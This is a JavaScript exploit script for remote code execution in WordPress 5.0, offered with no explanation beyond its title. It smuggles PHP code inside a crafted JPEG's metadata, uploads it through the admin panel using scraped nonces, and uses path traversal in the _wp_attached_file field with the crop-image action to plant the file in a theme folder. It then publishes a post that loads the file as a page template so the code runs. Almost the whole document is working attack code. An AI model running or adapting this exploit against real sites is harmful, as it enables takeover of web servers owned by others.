[EXP]WordPress Core 5.0 - Remote Code Execution

var wpnonce = '';

var ajaxnonce = '';

var wp_attached_file = '';

var imgurl = '';

var postajaxdata = '';

var post_id = 0;

var cmd = '<?php phpinfo();/*';

var cmdlen = cmd.length

var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';

var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);

var byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);});

var attachurl = '/wp-admin/media-new.php';

var uploadurl = '/wp-admin/async-upload.php';

var editattachurl = '/wp-admin/post.php?post=PID&action=edit';

var editposturl = '/wp-admin/post.php';

var addposturl = '/wp-admin/post-new.php';

var cropurl = '/wp-admin/admin-ajax.php';

console.log("Get wpnonce token.");

jQuery.get(attachurl, function(data) {

    wpnonce = jQuery(data).find('#file-form #_wpnonce').val();

    if(wpnonce) {

        console.log("Success! wpnonce: " + wpnonce);

        var postdata = new FormData();

        postdata.append('name', 'ebaldremal.jpg');

        postdata.append('post_id', post_id);

        postdata.append('_wpnonce', wpnonce);

        postdata.append('short', 1);

        // file

        var phpimage = new File([byteArray], 'ebaldremal.jpg');

        postdata.append('async-upload', phpimage);

        console.log("Upload image with shell.");

        jQuery.ajax({

            url: uploadurl,

            data: postdata,

            cache: false,

            contentType: false,

            processData: false,

            method: 'POST',

            success: function(data){

                if(jQuery.isNumeric(data)) {

                    post_id = data;

                    console.log("Success! Attach ID: " + post_id);

                    console.log("Get wpnonce for edit post, ajax_nonce for crop and URL for fun.");

                    jQuery.get(editattachurl.replace('PID', post_id), function(data) {

                        var btnid = "#imgedit-open-btn-" + post_id;

                        wpnonce = jQuery(data).find('#post #_wpnonce').val();

                        ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0];

                        imgurl = new URL(jQuery(data).find('#attachment_url').val());

                        wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/any";

                        console.log("Success! wpnonce: " + wpnonce + ", ajaxnonce: " + ajaxnonce);

                        if(wpnonce && ajaxnonce) {

                            console.log("Update _wp_attached_file meta key to: " + wp_attached_file);

                            postdata = {

                                '_wpnonce': wpnonce,

                                'action': 'editpost',

                                'post_ID': post_id,

                                'meta_input[_wp_attached_file]': wp_attached_file

                            }

                            jQuery.post(editposturl, postdata, function(data){

                                console.log("Success!");

                                console.log("Crop image for create help folder.");

                                postajaxdata = {

                                    '_ajax_nonce': ajaxnonce,

                                    'action': 'crop-image',

                                    'id': post_id,

                                    'cropDetails[width]': 1,

                                    'cropDetails[height]': 1

                                }

                                jQuery.post(cropurl, postajaxdata, function(data){

                                    console.log("Success! Help directory created.");

                                    wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/../../../../themes/twentynineteen/owned";

                                    console.log("Update _wp_attached_file meta key to: " + wp_attached_file);

                                    postdata = {

                                        '_wpnonce': wpnonce,

                                        'action': 'editpost',

                                        'post_ID': post_id,

                                        'meta_input[_wp_attached_file]': wp_attached_file

                                    }

                                    jQuery.post(editposturl, postdata, function(data){

                                        console.log("Success!");

                                        console.log("Crop image for create evil jpg image inside twentynineteen theme folder.");

                                        jQuery.post(cropurl, postajaxdata, function(data){

                                            console.log("Success!");

                                            console.log("Get wpnonce for create new post.");

                                            jQuery.get(addposturl, function(data){

                                                console.log("Create new post and use evil jpg image as template.");

                                                if(jQuery(data).find('form.metabox-base-form').length) {

                                                    wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val();

                                                    post_id = jQuery(data).find('form.metabox-base-form #post_ID').val();

                                                } else {

                                                    wpnonce = jQuery(data).find('#post #_wpnonce').val();

                                                    post_id = jQuery(data).find('#post #post_ID').val();

                                                }

                                                postdata = {

                                                    '_wpnonce': wpnonce,

                                                    'action': 'editpost',

                                                    'post_ID': post_id,

                                                    'post_title': 'RCE-HERE',

                                                    'visibility': 'public',

                                                    'publish': 'Publish',

                                                    'meta_input[_wp_page_template]': 'cropped-owned.jpg'

                                                }

                                                jQuery.post(editposturl, postdata, function(data){

                                                    console.log("Success! Browse post with id = " + post_id + " to trigger RCE.")

                                                    console.log("Trying to open: " + imgurl.origin + "/?p=" + post_id + ")");

                                                    window.open(imgurl.origin + "/?p=" + post_id, '_blank');

                                                });

                                            });

                                        });

                                    });

                                });

                            });

                        }

                    });

                }

            }

        });

    }

});